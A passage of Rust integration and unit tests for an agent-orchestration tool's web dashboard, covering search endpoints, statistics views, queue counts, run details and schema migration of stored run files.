17590 let mut t = Task::new(
17591 "short title".to_owned(),
17592 "line one\nthe hidden Armadillo detail".to_owned(),
17593 PathBuf::from("/repo/magi"),
17594 Source::Agent {
17595 run: "r1".to_owned(),
17596 node: "chat".to_owned(),
17597 },
17598 );
17599 t.last_error = Some("disk full on /tmp".to_owned());
17600 queue.put(&mut t).expect("file the task");
17601
17602 for (q, want) in [
17603 ("armadillo", 1),
17604 ("disk%20FULL", 1),
17605 ("chat", 1),
17606 ("queued", 1),
17607 ("short%20nothing", 0),
17608 ] {
17609 let v = f
17610 .get(&format!("/api/search?scope=tasks&q={q}"))
17611 .await
17612 .json();
17613 assert_eq!(v["total"], want, "{q}: {v}");
17614 }
17615 for bad in [
17616 "/api/search?scope=tasks&q=",
17617 "/api/search?scope=tasks&q=%20",
17618 "/api/search?scope=chats&q=",
17619 "/api/search?scope=chats&q=%20",
17620 "/api/search?scope=nope&q=a",
17621 "/api/search?q=a",
17622 ] {
17623 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17624 }
17625 }
17626
17627 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17629 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17630 .expect("seat value");
17631 let turns: Vec<serde_json::Value> = turns
17632 .iter()
17633 .map(|(who, body)| {
17634 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17635 })
17636 .collect();
17637 let doc = serde_json::json!({
17638 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17639 "status": status, "turns": turns,
17640 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17641 "seat": seat,
17642 });
17643 let dir = f.home.path().join("talks");
17644 std::fs::create_dir_all(&dir).expect("talks dir");
17645 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17646 }
17647
17648 #[tokio::test]
17649 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17650 let f = Fixture::start().await;
17651 write_talk(
17652 &f,
17653 "20260901-000001-aaaa",
17654 "open",
17655 &[
17656 (
17657 "operator",
17658 "\n Why does the Pangolin cache expire?\nsecond line",
17659 ),
17660 ("agent", "Because the TTL is thirty seconds."),
17661 ],
17662 );
17663 write_talk(
17664 &f,
17665 "20260901-000002-bbbb",
17666 "closed",
17667 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17668 );
17669 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17670
17671 let search = |q: &'static str| {
17672 let f = &f;
17673 async move {
17674 f.get(&format!("/api/search?scope=chats&q={q}"))
17675 .await
17676 .json()
17677 }
17678 };
17679
17680 let v = search("PANGOLIN").await;
17681 assert_eq!(v["scope"], "chats");
17682 assert_eq!(v["total"], 1, "{v}");
17683 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17684 assert_eq!(v["hits"][0]["field"], "title");
17685 assert_eq!(v["unreadable"], 1, "{v}");
17686 let marked: Vec<&str> = v["hits"][0]["snippet"]
17687 .as_array()
17688 .unwrap()
17689 .iter()
17690 .filter(|p| p["hit"] == true)
17691 .map(|p| p["text"].as_str().unwrap())
17692 .collect();
17693 assert_eq!(marked, ["Pangolin"]);
17694
17695 let v = search("zebra").await;
17697 assert_eq!(v["total"], 1, "{v}");
17698 assert_eq!(v["hits"][0]["field"], "agent");
17699 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17701 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17702 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17704 assert_eq!(search(q).await["total"], 0, "{q}");
17705 }
17706 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17708 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17710
17711 let v = f.get("/api/search?scope=nope&q=a").await;
17712 assert_eq!(v.status, 400);
17713 assert!(
17714 v.body.contains("scope must be runs, tasks or chats"),
17715 "{}",
17716 v.body
17717 );
17718 }
17719
17720 #[test]
17721 fn a_question_card_links_a_task_id_to_the_task_page() {
17722 let start = APP_JS
17723 .find("function updateAskCard(")
17724 .expect("updateAskCard exists");
17725 let body = &APP_JS[start..];
17726 let body = &body[..body.find("\n}\n").expect("function end")];
17727 assert!(body.contains("question.run_is_task"));
17728 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17729 assert!(body.contains("`#/runs/${question.run}`"));
17730 assert!(body.contains("\"task\" : \"run\""));
17731 }
17732
17733 #[test]
17734 fn plain_text_message_surfaces_go_through_linkify() {
17735 assert!(APP_JS.contains("function linkify("));
17736 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17737 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17738 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17739 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17740 assert!(!APP_JS.contains("innerHTML = text"));
17741 }
17742
17743 #[test]
17744 fn implementation_rate_views_keep_independent_samples() {
17745 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17746 let a = stats::AgentStats {
17747 competitive_entered: competitive_n,
17748 competitive_wins: usize::from(competitive_n > 0),
17749 solo_entered: solo_n,
17750 solo_adopted: 2 * usize::from(solo_n > 0),
17751 ..Default::default()
17752 };
17753 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17754 for (key, n, numerator) in [
17755 ("competitive_win_rate", competitive_n, a.competitive_wins),
17756 ("solo_adoption_rate", solo_n, a.solo_adopted),
17757 ] {
17758 if n == 0 {
17759 assert!(v[key].is_null());
17760 } else {
17761 assert_eq!(v[key]["denominator"], n);
17762 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17763 }
17764 }
17765 }
17766 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17767 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17768 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17769 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17770 }
17771
17772 #[test]
17773 fn stats_bars_share_one_id_keyed_plan() {
17774 let start = APP_JS
17775 .find("function statsBarRows(")
17776 .expect("statsBarRows exists");
17777 let body = &APP_JS[start..];
17778 let body = &body[..body.find("\n}\n").expect("function end")];
17779 assert!(body.contains("statsBarPlan(rows)"));
17780 assert!(body.contains("statsAgentTone(row.agent)"));
17781 assert!(!body.contains("candTone(i)"));
17782 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17783 for root in [
17784 "stats-agents-bars",
17785 "stats-solo-bars",
17786 "stats-reviewers-bars",
17787 ] {
17788 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17789 }
17790 }
17791
17792 #[test]
17793 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17794 let start = APP_JS
17795 .find("function renderStatsReviewerScatter(")
17796 .expect("renderStatsReviewerScatter exists");
17797 let body = &APP_JS[start..];
17798 let body = &body[..body.find("\n}\n").expect("function end")];
17799 assert!(body.contains("statsScatterPlan(reviewers)"));
17800 assert!(body.contains("statsAgentTone(d.agent)"));
17801 assert!(APP_JS.contains("function statsScatterPlan("));
17802 assert!(
17803 APP_JS.contains("d.submitted < STATS_LOW_N")
17804 || APP_JS.contains("r.submitted < STATS_LOW_N")
17805 );
17806 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17807 assert!(APP_CSS.contains(".precision-scatter"));
17808 }
17809
17810 #[test]
17811 fn advisor_reflection_is_drawn_as_stacked_segments() {
17812 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17813 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17814 let html = include_str!("../assets/ui/index.html");
17815 assert!(html.contains("Approximate"));
17816 for label in ["reflected strongly", "faint", "no proposal"] {
17817 assert!(html.contains(label));
17818 }
17819 let css = include_str!("../assets/ui/app.css");
17820 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17821 assert!(css.contains(&format!(".{c} {{")));
17822 }
17823 }
17824
17825 #[test]
17826 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17827 assert!(APP_JS.contains("function statsDailyPlan("));
17828 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17829 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17830 }
17831
17832 #[test]
17833 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17834 let start = APP_JS
17835 .find("function scheduleSearch(")
17836 .expect("scheduleSearch exists");
17837 let body = &APP_JS[start..];
17838 let body = &body[..body.find("\n}\n").expect("function end")];
17839 assert!(body.contains("s.seq += 1"));
17840 }
17841
17842 #[tokio::test]
17847 async fn stats_runs_unreadable_matches_health() {
17848 let f = Fixture::start().await;
17849 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17850 let broken = f.runs().join("20260902-140502-bad");
17851 std::fs::create_dir_all(&broken).expect("run dir");
17852 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17853
17854 let stats = f.get("/api/stats").await;
17855 let health = f.get("/api/health").await;
17856
17857 assert_eq!(stats.status, 200);
17858 assert_eq!(stats.json()["totals"]["runs"], 1);
17859 assert_eq!(stats.json()["runs_unreadable"], 1);
17860 assert_eq!(
17861 stats.json()["runs_unreadable"],
17862 health.json()["runs_unreadable"],
17863 "the dashboard and /api/health must never disagree about how many \
17864 runs could not be read"
17865 );
17866 }
17867
17868 #[tokio::test]
17869 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17870 let f = Fixture::start().await;
17871 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17872 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17873 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17874
17875 let totals = &f.get("/api/stats").await.json()["totals"];
17876 assert_eq!(totals["runs"], 3);
17877 assert_eq!(totals["merged"], 1);
17878 assert_eq!(totals["stalled"], 1);
17879 assert_eq!(totals["in_progress"], 1);
17880 assert_eq!(totals["blocked"], 0);
17883 assert_eq!(totals["ready"], 0);
17884 }
17885
17886 #[tokio::test]
17887 async fn stats_advisors_report_proposals_and_reflection() {
17888 use crate::advise::{Advice, AdvisorRecord, Reflection};
17889 use crate::verdict::Proposal;
17890
17891 let f = Fixture::start().await;
17892 let mut state = RunState::new(
17893 PathBuf::from("/repo/magi"),
17894 "main".to_owned(),
17895 "0123456789abcdef".to_owned(),
17896 "task".to_owned(),
17897 Config::default(),
17898 );
17899 state.id = "20260902-140501-a".to_owned();
17900 state.status = RunStatus::Merged;
17901 state.advice = Some(Advice {
17902 records: vec![
17903 AdvisorRecord {
17904 seat: "advisor-1".to_owned(),
17905 agent: "alpha".to_owned(),
17906 proposal: Some(Proposal {
17907 approach: "do it".to_owned(),
17908 key_tradeoff: "speed over memory".to_owned(),
17909 risks: Vec::new(),
17910 touches: Vec::new(),
17911 why_not_naive: "breaks under load".to_owned(),
17912 }),
17913 error: None,
17914 duration_ms: 0,
17915 reflection: Reflection::Strong,
17916 },
17917 AdvisorRecord {
17918 seat: "advisor-2".to_owned(),
17919 agent: "alpha".to_owned(),
17920 proposal: None,
17921 error: Some("timed out".to_owned()),
17922 duration_ms: 0,
17923 reflection: Reflection::Absent,
17924 },
17925 ],
17926 synthesis: Some("blended brief".to_owned()),
17927 });
17928 let dir = f.runs().join(&state.id);
17929 std::fs::create_dir_all(&dir).expect("run dir");
17930 std::fs::write(
17931 dir.join("run.json"),
17932 serde_json::to_string_pretty(&state).expect("serialize run"),
17933 )
17934 .expect("write run.json");
17935
17936 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17938 let alpha = advisors
17939 .as_array()
17940 .expect("an array")
17941 .iter()
17942 .find(|a| a["agent"] == "alpha")
17943 .expect("alpha row");
17944 assert_eq!(alpha["seated"], 2);
17945 assert_eq!(alpha["proposed"], 1);
17946 assert_eq!(alpha["absent"], 1);
17947 assert_eq!(alpha["strong"], 1);
17948 assert_eq!(alpha["faint"], 0);
17949 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17950 }
17951
17952 #[tokio::test]
17953 async fn stats_hides_agents_outside_the_roster_unless_all() {
17954 use crate::run::Candidate;
17955 let repo = TempDir::new().expect("repo dir");
17956 std::fs::write(
17957 repo.path().join("magi.toml"),
17958 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17959 )
17960 .expect("magi.toml");
17961 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17962 let mut state = RunState::new(
17963 PathBuf::from("/repo/magi"),
17964 "main".to_owned(),
17965 "0123456789abcdef".to_owned(),
17966 "task".to_owned(),
17967 Config::default(),
17968 );
17969 state.id = "20260902-140501-a".to_owned();
17970 state.status = RunStatus::Merged;
17971 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17972 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17973 "index": 0, "label": label.to_string(), "agent": agent,
17974 "branch": "b", "worktree": "/w",
17975 }))
17976 .expect("candidate");
17977 c.label = label;
17978 state.candidates.push(c);
17979 }
17980 let dir = f.runs().join(&state.id);
17981 std::fs::create_dir_all(&dir).expect("run dir");
17982 std::fs::write(
17983 dir.join("run.json"),
17984 serde_json::to_string_pretty(&state).expect("serialize run"),
17985 )
17986 .expect("write run.json");
17987
17988 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17989 v["agents"]
17990 .as_array()
17991 .expect("array")
17992 .iter()
17993 .map(|a| a["agent"].as_str().unwrap().to_owned())
17994 .collect()
17995 };
17996 let hidden = f.get("/api/stats").await.json();
17997 assert_eq!(agents_of(&hidden), ["keep"]);
17998 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17999 assert_eq!(hidden["totals"]["runs"], 1);
18000
18001 let all = f.get("/api/stats?all=true").await.json();
18002 assert_eq!(agents_of(&all).len(), 2);
18003 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18004 let keep_agent = all["agents"]
18006 .as_array()
18007 .unwrap()
18008 .iter()
18009 .find(|a| a["agent"] == "keep")
18010 .unwrap();
18011 assert_eq!(keep_agent["competitive_entered"], 1);
18012 assert_eq!(keep_agent["competitive_wins"], 0);
18013 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18014 assert_eq!(keep_agent["solo_entered"], 0);
18015 assert_eq!(keep_agent["solo_adopted"], 0);
18016 assert!(keep_agent["solo_adoption_rate"].is_null());
18017 }
18018
18019 #[tokio::test]
18020 async fn stats_release_bumps_split_clean_from_attention() {
18021 use crate::run::ReleaseBump;
18022
18023 let f = Fixture::start().await;
18024
18025 let mut clean = RunState::new(
18026 PathBuf::from("/repo/magi"),
18027 "main".to_owned(),
18028 "0123456789abcdef".to_owned(),
18029 "task".to_owned(),
18030 Config::default(),
18031 );
18032 clean.id = "20260902-140501-a".to_owned();
18033 clean.status = RunStatus::Merged;
18034 clean.release_bump = Some(ReleaseBump {
18035 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18036 version: Some("1.0.0".to_owned()),
18037 automerge_enabled: true,
18038 merged_directly: false,
18039 local: false,
18040 release: None,
18041 problem: None,
18042 action_required: None,
18043 skipped: None,
18044 });
18045
18046 let mut blocked = RunState::new(
18047 PathBuf::from("/repo/magi"),
18048 "main".to_owned(),
18049 "0123456789abcdef".to_owned(),
18050 "task".to_owned(),
18051 Config::default(),
18052 );
18053 blocked.id = "20260902-140502-b".to_owned();
18054 blocked.status = RunStatus::Merged;
18055 blocked.release_bump = Some(ReleaseBump {
18056 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18057 version: Some("1.0.1".to_owned()),
18058 automerge_enabled: false,
18059 merged_directly: false,
18060 local: false,
18061 release: None,
18062 problem: Some("checks red".to_owned()),
18063 action_required: Some("look at the PR".to_owned()),
18064 skipped: None,
18065 });
18066
18067 for state in [&clean, &blocked] {
18068 let dir = f.runs().join(&state.id);
18069 std::fs::create_dir_all(&dir).expect("run dir");
18070 std::fs::write(
18071 dir.join("run.json"),
18072 serde_json::to_string_pretty(state).expect("serialize run"),
18073 )
18074 .expect("write run.json");
18075 }
18076
18077 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18078 assert_eq!(bumps["merged"], 2);
18079 assert_eq!(bumps["recorded"], 2);
18080 assert_eq!(bumps["pr_opened"], 2);
18081 assert_eq!(bumps["automerge_enabled"], 1);
18082 assert_eq!(bumps["needs_attention"], 1);
18083 assert_eq!(bumps["clean"], 1);
18084 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18085 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18086 }
18087
18088 #[tokio::test]
18089 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18090 let f = Fixture::start().await;
18091 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18092
18093 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18094 assert_eq!(bumps["merged"], 1);
18095 assert_eq!(bumps["recorded"], 0);
18096 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18099 assert_eq!(bumps["automerge_rate"], Value::Null);
18102 assert_eq!(bumps["attention_rate"], Value::Null);
18103 }
18104
18105 #[tokio::test]
18106 async fn stats_queue_counts_come_from_the_live_queue() {
18107 let f = Fixture::start().await;
18108 let q = f.queue();
18109 let mut queued = Task::new(
18110 "queued task".to_owned(),
18111 "do it".to_owned(),
18112 PathBuf::from("/repo"),
18113 Source::Human,
18114 );
18115 q.put(&mut queued).expect("put queued");
18116 let mut held = Task::new(
18117 "held task".to_owned(),
18118 "do it later".to_owned(),
18119 PathBuf::from("/repo"),
18120 Source::Human,
18121 );
18122 held.hold_machine(Some("out of attempts".to_owned()));
18123 q.put(&mut held).expect("put held");
18124
18125 let queue = f.get("/api/stats").await.json()["queue"].clone();
18126 assert_eq!(queue["queued"], 1);
18127 assert_eq!(queue["held"], 1);
18128 assert_eq!(queue["running"], 0);
18129 assert_eq!(queue["done"], 0);
18130 assert_eq!(queue["failed"], 0);
18131 assert_eq!(queue["blocked"], 0);
18132 }
18133
18134 #[tokio::test]
18135 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18136 let f = Fixture::start().await;
18137 let stats = f.get("/api/stats").await;
18138 assert_eq!(stats.status, 200);
18139 assert_eq!(stats.json()["totals"]["runs"], 0);
18140 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18141 assert_eq!(stats.json()["runs_unreadable"], 0);
18142 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18143 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18144 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18145 assert_eq!(stats.json()["repo"], Value::Null);
18146 }
18147
18148 #[tokio::test]
18149 async fn stats_lists_every_repository_with_runs_recorded() {
18150 let f = Fixture::start().await;
18151 write_run_repo(
18152 &f.runs(),
18153 "20260902-140501-a",
18154 RunStatus::Merged,
18155 "/repos/a",
18156 );
18157 write_run_repo(
18158 &f.runs(),
18159 "20260902-140502-b",
18160 RunStatus::Merged,
18161 "/repos/a",
18162 );
18163 write_run_repo(
18164 &f.runs(),
18165 "20260902-140503-c",
18166 RunStatus::Blocked,
18167 "/repos/b",
18168 );
18169
18170 let stats = f.get("/api/stats").await;
18171 assert_eq!(stats.status, 200);
18172 assert_eq!(stats.json()["totals"]["runs"], 3);
18174 assert_eq!(stats.json()["repo"], Value::Null);
18175
18176 let repos = stats.json()["repos"].clone();
18177 let repos = repos.as_array().unwrap();
18178 assert_eq!(repos.len(), 2);
18179 assert_eq!(repos[0]["repo"], "/repos/a");
18181 assert_eq!(repos[0]["name"], "a");
18182 assert_eq!(repos[0]["runs"], 2);
18183 assert_eq!(repos[1]["repo"], "/repos/b");
18184 assert_eq!(repos[1]["runs"], 1);
18185 }
18186
18187 #[tokio::test]
18188 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18189 let f = Fixture::start().await;
18190 write_run_repo(
18191 &f.runs(),
18192 "20260902-140501-a",
18193 RunStatus::Merged,
18194 "/repos/a",
18195 );
18196 write_run_repo(
18197 &f.runs(),
18198 "20260902-140502-b",
18199 RunStatus::Blocked,
18200 "/repos/b",
18201 );
18202
18203 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18204 assert_eq!(stats.status, 200);
18205 assert_eq!(stats.json()["totals"]["runs"], 1);
18206 assert_eq!(stats.json()["totals"]["merged"], 1);
18207 assert_eq!(stats.json()["repo"], "/repos/a");
18208 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18211 assert_eq!(stats.json()["runs_unreadable"], 0);
18214 }
18215
18216 #[tokio::test]
18217 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18218 let f = Fixture::start().await;
18219 write_run_repo(
18220 &f.runs(),
18221 "20260902-140501-a",
18222 RunStatus::Merged,
18223 "/repos/a",
18224 );
18225 write_run_repo(
18226 &f.runs(),
18227 "20260902-140502-b",
18228 RunStatus::Merged,
18229 "/repos/b",
18230 );
18231
18232 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18233 let json = f.get(uri).await.json();
18234 let daily = json["daily"].as_array().expect("daily is an array");
18235 assert_eq!(daily.len(), 30);
18236 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18237 let mut sorted = dates.clone();
18238 sorted.sort();
18239 assert_eq!(dates, sorted);
18240 for d in daily {
18241 assert_eq!(
18242 d["merged"].as_u64().unwrap()
18243 + d["ready"].as_u64().unwrap()
18244 + d["other"].as_u64().unwrap(),
18245 d["runs"].as_u64().unwrap()
18246 );
18247 }
18248 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18249 }
18250 }
18251
18252 #[tokio::test]
18253 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18254 let f = Fixture::start().await;
18255 write_run_repo(
18256 &f.runs(),
18257 "20260902-140501-a",
18258 RunStatus::Merged,
18259 "/repos/a",
18260 );
18261
18262 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18263 assert_eq!(stats.status, 404);
18264 }
18265
18266 #[tokio::test]
18267 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18268 let f = Fixture::start().await;
18269 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18270
18271 let summary = f.get("/api/runs").await.json();
18272 let row = &summary[0];
18273 assert_eq!(row["short"], "a1b2");
18274 assert_eq!(row["status"], "ready");
18275 assert_eq!(row["done"], true);
18276 assert_eq!(row["title"], "Add a web UI");
18277 assert_eq!(row["repo_name"], "magi");
18278 assert_eq!(row["judges"], 3);
18279 assert_eq!(row["winner"], Value::Null);
18280 assert_eq!(row["reviews"], 0);
18281
18282 let detail = f.get("/api/runs/a1b2").await;
18285 assert_eq!(detail.status, 200);
18286 assert_eq!(detail.json()["base_branch"], "main");
18287 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18288 }
18289
18290 #[tokio::test]
18298 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18299 let f = Fixture::start().await;
18300
18301 let mut none_run = RunState::new(
18302 PathBuf::from("/repo/magi"),
18303 "main".to_owned(),
18304 "0123456789abcdef".to_owned(),
18305 "Add a web UI".to_owned(),
18306 Config::default(),
18307 );
18308 none_run.id = "20260902-140503-none".to_owned();
18309 none_run.status = RunStatus::Ready;
18310 none_run.merge = Some(crate::run::MergeOutcome {
18311 mode: crate::config::MergeMode::None,
18312 ok: true,
18313 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18314 empty: false,
18315 });
18316 write_state(&f.runs(), &none_run);
18317
18318 let mut pr_run = RunState::new(
18319 PathBuf::from("/repo/magi"),
18320 "main".to_owned(),
18321 "0123456789abcdef".to_owned(),
18322 "Add a web UI".to_owned(),
18323 Config::default(),
18324 );
18325 pr_run.id = "20260902-140504-prcl".to_owned();
18326 pr_run.status = RunStatus::Ready;
18327 pr_run.merge = Some(crate::run::MergeOutcome {
18328 mode: crate::config::MergeMode::Pr,
18329 ok: false,
18330 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18331 empty: false,
18332 });
18333 write_state(&f.runs(), &pr_run);
18334
18335 let summary = f.get("/api/runs").await.json();
18336 let rows: std::collections::HashMap<&str, &Value> = summary
18337 .as_array()
18338 .expect("an array")
18339 .iter()
18340 .map(|r| (r["id"].as_str().expect("an id"), r))
18341 .collect();
18342 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18343 assert_eq!(
18344 rows[none_run.id.as_str()]["unmerged_by_design"],
18345 true,
18346 "a mode-none Ready must be flagged in the list"
18347 );
18348 assert_eq!(
18349 rows[pr_run.id.as_str()]["unmerged_by_design"],
18350 false,
18351 "a Ready reached by a closed pull request is a different case"
18352 );
18353
18354 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18355 assert_eq!(none_detail["status"], "ready");
18356 assert_eq!(none_detail["unmerged_by_design"], true);
18357
18358 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18359 assert_eq!(pr_detail["unmerged_by_design"], false);
18360 }
18361
18362 #[tokio::test]
18367 async fn run_core_survives_unavailable_related_stores() {
18368 let home = TempDir::new().unwrap();
18369 let ui = delta_test_ui(home.path());
18370 let state = RunState::new(
18371 PathBuf::from("/repo/magi"),
18372 "main".into(),
18373 "0123456789abcdef".into(),
18374 "Useful core instructions".into(),
18375 Config::default(),
18376 );
18377 let dir = ui.runs.join(&state.id);
18378 std::fs::create_dir_all(&dir).unwrap();
18379 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18380 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18381 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18382 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18383 .await
18384 .unwrap()
18385 .0;
18386 assert_eq!(core.state.instruction, state.instruction);
18387 assert_eq!(core.state.updated_at, state.updated_at);
18388 assert!(core.task.is_none());
18389 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18390 }
18391
18392 #[tokio::test]
18393 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18394 let f = Fixture::start().await;
18395 let id = "20260902-140502-bbbb";
18399 let mut state = RunState::new(
18400 PathBuf::from("/repo/magi"),
18401 "main".to_owned(),
18402 "0123456789abcdef".to_owned(),
18403 "Add a web UI".to_owned(),
18404 Config::default(),
18405 );
18406 state.id = id.to_owned();
18407 state.status = RunStatus::Judging;
18408 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18409 let dir = f.runs().join(id);
18410 std::fs::create_dir_all(&dir).expect("run dir");
18411 std::fs::write(
18412 dir.join("run.json"),
18413 serde_json::to_string_pretty(&state).expect("serialize run"),
18414 )
18415 .expect("write run.json");
18416
18417 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18423 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18424 assert_eq!(cold["live"], "unknown", "{cold}");
18425
18426 write_daemon(f.home.path(), Timestamp::now());
18429 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18430 assert_eq!(warm["live"], "live", "{warm}");
18431 }
18432
18433 #[test]
18434 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18435 let home = tempfile::tempdir().expect("temp home");
18436 let runs = home.path().join("runs");
18437 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18438 let mut state = RunState::new(
18439 PathBuf::from("/repo/magi"),
18440 "main".to_owned(),
18441 "0123456789abcdef".to_owned(),
18442 "Generated review context, not authored task criteria".to_owned(),
18443 Config::default(),
18444 );
18445 state.origin = origin;
18446 state.status = RunStatus::Blocked;
18447 state.driver_exited = false;
18449 state.gate_ran = true;
18450 let expected = serde_json::to_value(&state).expect("serialize current state");
18451 let mut legacy = expected.clone();
18452 legacy["schema"] = serde_json::json!(13);
18453 legacy.as_object_mut().unwrap().remove("task_instruction");
18454 let dir = runs.join(&state.id);
18455 std::fs::create_dir_all(&dir).expect("run dir");
18456 let path = dir.join("run.json");
18457 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18458 std::fs::write(&path, &body).expect("write legacy run");
18459
18460 for loaded in [
18461 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18462 read_run(&runs, &state.id).expect("web migration"),
18463 ] {
18464 assert_eq!(loaded.schema, crate::run::SCHEMA);
18465 assert!(loaded.task_instruction.is_none());
18466 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18467 }
18468 assert_eq!(runs_unreadable(&runs), 0);
18469 assert_eq!(std::fs::read(&path).unwrap(), body);
18470 }
18471 }
18472
18473 #[tokio::test]
18476 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18477 let f = Fixture::start().await;
18478 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18479 let mut state = RunState::new(
18480 PathBuf::from("/repo/magi"),
18481 "main".to_owned(),
18482 "0123456789abcdef".to_owned(),
18483 "Add a web UI".to_owned(),
18484 Config::default(),
18485 );
18486 state.id = id.to_owned();
18487 state.origin = origin;
18488 let mut value = serde_json::to_value(&state).expect("serialize run");
18489 if let Some(schema) = schema {
18490 value["schema"] = serde_json::json!(schema);
18491 value.as_object_mut().unwrap().remove("origin");
18492 }
18493 let dir = f.runs().join(id);
18494 std::fs::create_dir_all(&dir).expect("run dir");
18495 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18496 };
18497 write(
18498 "20260930-092817-ec34",
18499 Some(crate::run::Origin::from_agent_env(
18500 Some(("4a7b".to_owned(), "chat".to_owned())),
18501 None,
18502 )),
